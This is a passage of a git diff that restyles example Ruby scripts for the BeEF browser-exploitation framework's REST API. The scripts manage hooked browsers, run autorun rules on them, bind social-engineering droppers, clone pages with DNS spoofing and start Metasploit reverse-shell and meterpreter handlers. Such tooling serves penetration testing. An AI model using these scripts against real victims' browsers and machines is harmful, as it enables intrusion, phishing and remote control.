print_error "Could not add DNS rule: #{e.message}" -end + ################################################################################ + ### Autorun + ################################################################################ -# get rule details -def dns_get_rule(id) - begin - print_verbose "Retrieving DNS rule details [id: #{id}]" - response = RestClient.get "#{@url}dns/rule/#{id}", {:params => {:token => @token}} + def autorun_rules + print_verbose 'Retrieving Autorun rules' + response = RestClient.get "#{@url}autorun/rules", { params: { token: @token } } details = JSON.parse(response.body) - print_good "Retrieved rule [id: #{details['id']}]" + print_good("Retrieved #{details['count']} rules") details rescue => e - print_error "Could not retrieve DNS rule: #{e.message}" + print_error("Could not retrieve Autorun rules: #{e.message}") end -end - -# delete a rule -def dns_delete_rule(id) - response = RestClient.delete "#{@url}dns/rule/#{id}?token=#{@token}" - details = JSON.parse(response.body) - print_good "Deleted rule [id: #{id}]" - details -rescue => e - print_error "Could not delete DNS rule: #{e.message}" -end - - -################################################################################ -### Autorun -################################################################################ -def autorun_rules - print_verbose "Retrieving Autorun rules" - response = RestClient.get "#{@url}autorun/rules", {:params => {:token => @token}} - details = JSON.parse(response.body) - print_good("Retrieved #{details['count']} rules") - details -rescue => e - print_error("Could not retrieve Autorun rules: #{e.message}") -end - -def autorun_delete_rule(id) - print_verbose "Deleting Autorun rule with ID: #{id}" - response = RestClient.delete "#{@url}autorun/rule/#{id}?token=#{@token}" - details = JSON.parse(response.body) - print_good("Deleted rule [id: #{id}]") - details -rescue => e - print_error("Could not delete Autorun rule: #{e.message}") -end - -def autorun_add_rule(data) - print_verbose "Adding Autorun rule: #{data}" - response = RestClient.post "#{@url}autorun/rule/add?token=#{@token}", - data.to_json, - :content_type => :json, - :accept => :json - details = JSON.parse(response.body) - rule_id = details['rule_id'] - - if rule_id.nil? - print_error("Could not add Autorun rule: #{details['error']}") - return details + def autorun_delete_rule(id) + print_verbose "Deleting Autorun rule with ID: #{id}" + response = RestClient.delete "#{@url}autorun/rule/#{id}?token=#{@token}" + details = JSON.parse(response.body) + print_good("Deleted rule [id: #{id}]") + details + rescue => e + print_error("Could not delete Autorun rule: #{e.message}") end - print_good("Added rule [id: #{details['id']}]") - details -rescue => e - print_error("Could not add Autorun rule: #{e.message}") -end - -def autorun_run_rule_on_all_browsers(rule_id) - print_verbose "Running Autorun rule #{rule_id} on all browsers" - response = RestClient.get "#{@url}autorun/run/#{rule_id}", {:params => {:token => @token}} - details = JSON.parse(response.body) - print_debug details - print_good('Done') - details -rescue => e - print_error "Could not run Autorun rule #{rule_id}: #{e.message}" -end - -def autorun_run_rule_on_browser(rule_id, hb_id) - print_verbose "Running Autorun rule #{rule_id} on browser #{hb_id}" - response = RestClient.get "#{@url}autorun/run/#{rule_id}/#{hb_id}", {:params => {:token => @token}} - details = JSON.parse(response.body) - print_good('Done') - details -rescue => e - print_error "Could not run Autorun rule #{rule_id}: #{e.message}" -end + def autorun_add_rule(data) + print_verbose "Adding Autorun rule: #{data}" + response = RestClient.post "#{@url}autorun/rule/add?token=#{@token}", + data.to_json, + content_type: :json, + accept: :json + details = JSON.parse(response.body) + rule_id = details['rule_id'] + if rule_id.nil? + print_error("Could not add Autorun rule: #{details['error']}") + return details + end -################################################################################ -### WebRTC -################################################################################ + print_good("Added rule [id: #{details['id']}]") + details + rescue => e + print_error("Could not add Autorun rule: #{e.message}") + end -# get webrtc status for hooked browser by session -def webrtc_status id - begin - print_verbose "Retrieving status for hooked browser [id: #{id}]" - response = RestClient.get "#{@url}webrtc/status/#{id}", {:params => {:token => @token}} + def autorun_run_rule_on_all_browsers(rule_id) + print_verbose "Running Autorun rule #{rule_id} on all browsers" + response = RestClient.get "#{@url}autorun/run/#{rule_id}", { params: { token: @token } } details = JSON.parse(response.body) - print_good "Retrieved status for hooked browser [id: #{id}]" + print_debug details + print_good('Done') details rescue => e - print_error "Could not retrieve status: #{e.message}" + print_error "Could not run Autorun rule #{rule_id}: #{e.message}" end -end -################################################################################ -### Social Engineering -################################################################################ - -# bind dropper to path -def bind(fname, path) - print_verbose "Binding 'extensions/social_engineering/droppers/#{fname}' to '#{path}'" - begin - response = RestClient.post "#{@url}/server/bind?token=#{@token}", - { 'mount' => "#{path}", - 'local_file' => "#{fname}" }.to_json, - :content_type => :json, - :accept => :json - print_good "Bound '#{fname}' successfully" if response.code == 200 + def autorun_run_rule_on_browser(rule_id, hb_id) + print_verbose "Running Autorun rule #{rule_id} on browser #{hb_id}" + response = RestClient.get "#{@url}autorun/run/#{rule_id}/#{hb_id}", { params: { token: @token } } + details = JSON.parse(response.body) + print_good('Done') + details rescue => e - print_error "Could not bind file #{fname}: #{e.message}" + print_error "Could not run Autorun rule #{rule_id}: #{e.message}" end -end -# clone page and bind to path -def clone_page(url, path, use_existing, dns_spoof) - print_verbose "Binding '#{url}' to '#{path}'" - begin - response = RestClient.post "#{@url}/seng/clone_page?token=#{@token}", - { 'mount' => "#{path}", - 'url' => "#{url}", - 'use_existing' => use_existing, - 'dns_spoof' => dns_spoof }.to_json, - :content_type => :json, - :accept => :json - print_good "Bound '#{url}' successfully" if response.code == 200 - rescue => e - print_error "Could not bind URL #{url}: #{e.message}" + ################################################################################ + ### WebRTC + ################################################################################ + + # get webrtc status for hooked browser by session + def webrtc_status id + begin + print_verbose "Retrieving status for hooked browser [id: #{id}]" + response = RestClient.get "#{@url}webrtc/status/#{id}", { params: { token: @token } } + details = JSON.parse(response.body) + print_good "Retrieved status for hooked browser [id: #{id}]" + details + rescue => e + print_error "Could not retrieve status: #{e.message}" + end + end + + ################################################################################ + ### Social Engineering + ################################################################################ + + # bind dropper to path + def bind(fname, path) + print_verbose "Binding 'extensions/social_engineering/droppers/#{fname}' to '#{path}'" + begin + response = RestClient.post "#{@url}/server/bind?token=#{@token}", + { 'mount' => "#{path}", + 'local_file' => "#{fname}" }.to_json, + content_type: :json, + accept: :json + print_good "Bound '#{fname}' successfully" if response.code == 200 + rescue => e + print_error "Could not bind file #{fname}: #{e.message}" + end + end + + # clone page and bind to path + def clone_page(url, path, use_existing, dns_spoof) + print_verbose "Binding '#{url}' to '#{path}'" + begin + response = RestClient.post "#{@url}/seng/clone_page?token=#{@token}", + { 'mount' => "#{path}", + 'url' => "#{url}", + 'use_existing' => use_existing, + 'dns_spoof' => dns_spoof }.to_json, + content_type: :json, + accept: :json + print_good "Bound '#{url}' successfully" if response.code == 200 + rescue => e + print_error "Could not bind URL #{url}: #{e.message}" + end end -end end diff --git a/tools/rest_api_examples/lib/print.rb b/tools/rest_api_examples/lib/print.rb index 00a1b951ea..6ea5ca8f81 100644 --- a/tools/rest_api_examples/lib/print.rb +++ b/tools/rest_api_examples/lib/print.rb @@ -2,15 +2,19 @@ def print_debug s pp s if @debug end + def print_verbose s puts "[*] #{s}".gray if @verbose end + def print_status s puts "[*] #{s}".blue end + def print_good s puts "[+] #{s}".green end + def print_error s puts "[!] Error: #{s}".red end diff --git a/tools/rest_api_examples/lib/string.rb b/tools/rest_api_examples/lib/string.rb index fdff7af31b..b5b00c82f5 100644 --- a/tools/rest_api_examples/lib/string.rb +++ b/tools/rest_api_examples/lib/string.rb @@ -1,22 +1,22 @@ # colorise # https://stackoverflow.com/questions/1489183/colorized-ruby-output class String -def black; "\033[30m#{self}\033[0m" end -def red; "\033[31m#{self}\033[0m" end -def green; "\033[32m#{self}\033[0m" end -def brown; "\033[33m#{self}\033[0m" end -def blue; "\033[34m#{self}\033[0m" end -def magenta; "\033[35m#{self}\033[0m" end -def cyan; "\033[36m#{self}\033[0m" end -def gray; "\033[37m#{self}\033[0m" end -def bg_black; "\033[40m#{self}\033[0m" end -def bg_red; "\033[41m#{self}\033[0m" end -def bg_green; "\033[42m#{self}\033[0m" end -def bg_brown; "\033[43m#{self}\033[0m" end -def bg_blue; "\033[44m#{self}\033[0m" end -def bg_magenta; "\033[45m#{self}\033[0m" end -def bg_cyan; "\033[46m#{self}\033[0m" end -def bg_gray; "\033[47m#{self}\033[0m" end -def bold; "\033[1m#{self}\033[22m" end -def reverse_color; "\033[7m#{self}\033[27m" end + def black; "\033[30m#{self}\033[0m" end + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def magenta; "\033[35m#{self}\033[0m" end + def cyan; "\033[36m#{self}\033[0m" end + def gray; "\033[37m#{self}\033[0m" end + def bg_black; "\033[40m#{self}\033[0m" end + def bg_red; "\033[41m#{self}\033[0m" end + def bg_green; "\033[42m#{self}\033[0m" end + def bg_brown; "\033[43m#{self}\033[0m" end + def bg_blue; "\033[44m#{self}\033[0m" end + def bg_magenta; "\033[45m#{self}\033[0m" end + def bg_cyan; "\033[46m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end + def bold; "\033[1m#{self}\033[22m" end + def reverse_color; "\033[7m#{self}\033[27m" end end diff --git a/tools/rest_api_examples/metasploit b/tools/rest_api_examples/metasploit index c7127da370..ddde752034 100755 --- a/tools/rest_api_examples/metasploit +++ b/tools/rest_api_examples/metasploit @@ -15,9 +15,9 @@ require './lib/beef_rest_api' # API if ARGV.length == 0 puts "#{$0}:" - puts "| Example BeEF RESTful API script" - puts "| Use --help for help" - puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" + puts '| Example BeEF RESTful API script' + puts '| Use --help for help' + puts '|_ Use verbose mode (-v) and debug mode (-d) for more output' exit 1 end @@ -73,10 +73,10 @@ print_status "Authenticating to: #{proto}://#{host}:#{port}" # Start payload handlers handlers = [ - @api.msf_handler( {'PAYLOAD'=>'generic/shell_reverse_tcp', 'LPORT' => '6666', 'LHOST' => host} ), - @api.msf_handler( {'PAYLOAD'=>'cmd/unix/reverse', 'LPORT' => '6010', 'LHOST' => host} ), - @api.msf_handler( {'PAYLOAD'=>'linux/x86/meterpreter/reverse_tcp', 'LPORT' => '6020', 'LHOST'=> host} ), - @api.msf_handler( {'PAYLOAD'=>'windows/meterpreter/reverse_tcp', 'LPORT' => '6030', 'LHOST'=> host} ) + @api.msf_handler({ 'PAYLOAD'=>'generic/shell_reverse_tcp', 'LPORT' => '6666', 'LHOST' => host }), + @api.msf_handler({ 'PAYLOAD'=>'cmd/unix/reverse', 'LPORT' => '6010', 'LHOST' => host }), + @api.msf_handler({ 'PAYLOAD'=>'linux/x86/meterpreter/reverse_tcp', 'LPORT' => '6020', 'LHOST'=> host }), + @api.msf_handler({ 'PAYLOAD'=>'windows/meterpreter/reverse_tcp', 'LPORT' => '6030', 'LHOST'=> host }) ] # Retrieve msf jobs @@ -86,6 +86,7 @@ print_debug jobs # Retrieve msf job details jobs.each do |job_id,job_name| next if job_id !~ /\A\d+\Z/ + print_status "Retrieving details for Metasploit job [id: #{job_id}] [#{job_name}]" details = @api.msf_job_info(job_id) print_debug details diff --git a/tools/rest_api_examples/network b/tools/rest_api_examples/network index 329f862301..3f7a048f4e 100755 --- a/tools/rest_api_examples/network +++ b/tools/rest_api_examples/network @@ -13,9 +13,9 @@ require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" - puts "| Example BeEF RESTful API script" - puts "| Use --help for help" - puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" + puts '| Example BeEF RESTful API script' + puts '| Use --help for help' + puts '|_ Use verbose mode (-v) and debug mode (-d) for more output' exit 1 end @@ -82,11 +82,13 @@ print_debug hooks # Retrieve network hosts for each hooked browser hooks.each do |hook| next if hook['id'].nil? + print_status "Retrieving network hosts for browser [id: #{hook['id']}]" hosts = @api.network_hosts(hook['session']) print_debug hosts hosts['hosts'].each do |host| next if host['id'].nil? + print_verbose "#{host['ip']}" + (" - #{host['type']}" unless host['type'].nil?).to_s end end @@ -94,11 +96,13 @@ end # Retrieve network services for each hooked browser hooks.each do |hook| next if hook['id'].nil? + print_status "Retrieving network services for browser [id: #{hook['id']}]" services = @api.network_services(hook['session']) print_debug services services['services'].each do |service| next if service['id'].nil? + print_verbose "#{service['ip']}:#{service['port']}" + (" - #{service['type']}" unless service['type'].nil?).to_s end end diff --git a/tools/rest_api_examples/remove-offline-browsers b/tools/rest_api_examples/remove-offline-browsers index ab5641048d..2e26bd6039 100644 --- a/tools/rest_api_examples/remove-offline-browsers +++ b/tools/rest_api_examples/remove-offline-browsers @@ -13,9 +13,9 @@ require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" - puts "| Example BeEF RESTful API script" - puts "| Use --help for help" - puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" + puts '| Example BeEF RESTful API script' + puts '| Use --help for help' + puts '|_ Use verbose mode (-v) and debug mode (-d) for more output' exit 1 end @@ -74,6 +74,7 @@ print_debug hooks # Remove each offline browser hooks.each do |hook| next if hook['id'].nil? + print_status "Removing hooked browser [id: #{hook['id']}]" details = @api.delete_browser(hook['session']) print_debug details diff --git a/tools/rest_api_examples/webrtc b/tools/rest_api_examples/webrtc index e69bb073fc..cde93ba63d 100755 --- a/tools/rest_api_examples/webrtc +++ b/tools/rest_api_examples/webrtc @@ -13,9 +13,9 @@ require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" - puts "| Example BeEF RESTful API script" - puts "| Use --help for help" - puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" + puts '| Example BeEF RESTful API script' + puts '| Use --help for help' + puts '|_ Use verbose mode (-v) and debug mode (-d) for more output' exit 1 end @@ -74,6 +74,7 @@ print_debug hooks # Retrieve hooked browser details hooks.each do |hook| next if hook['id'].nil? + print_status "Retrieving WebRTC status for browser [id: #{hook['id']}]" details = @api.webrtc_status(hook['id']) print_debug details diff --git a/tools/rest_api_examples/xssrays b/tools/rest_api_examples/xssrays index ca955c2d3d..d7fd0130fd 100755 --- a/tools/rest_api_examples/xssrays +++ b/tools/rest_api_examples/xssrays @@ -12,9 +12,9 @@ require './lib/beef_rest_api' if ARGV.length == 0 puts "#{$0}:" - puts "| Example BeEF RESTful API script" - puts "| Use --help for help" - puts "|_ Use verbose mode (-v) and debug mode (-d) for more output" + puts '| Example BeEF RESTful API script' + puts '| Use --help for help' + puts '|_ Use verbose mode (-v) and debug mode (-d) for more output' exit 1 end @@ -81,11 +81,13 @@ print_debug hooks # Retrieve rays for each hooked browser hooks.each do |hook| next if hook['id'].nil? + print_status "Retrieving rays for browser [id: #{hook['id']}]" rays = @api.xssrays_rays(hook['session']) print_debug rays rays['rays'].each do |ray| next if ray['id'].nil? + print_verbose "#{ray['vector_name']} (#{ray['vector_method']})" end end @@ -93,11 +95,13 @@ end # Retrieve scans for each hooked browser hooks.each do |hook| next if hook['id'].nil? + print_status "Retrieving scans for browser [id: #{hook['id']}]" scans = @api.xssrays_scans(hook['session']) print_debug scans scans['scans'].each do |scan| next if scan['id'].nil? + print_verbose "Scan [#{scan['id']}] on domain #{scan['domain']}" end end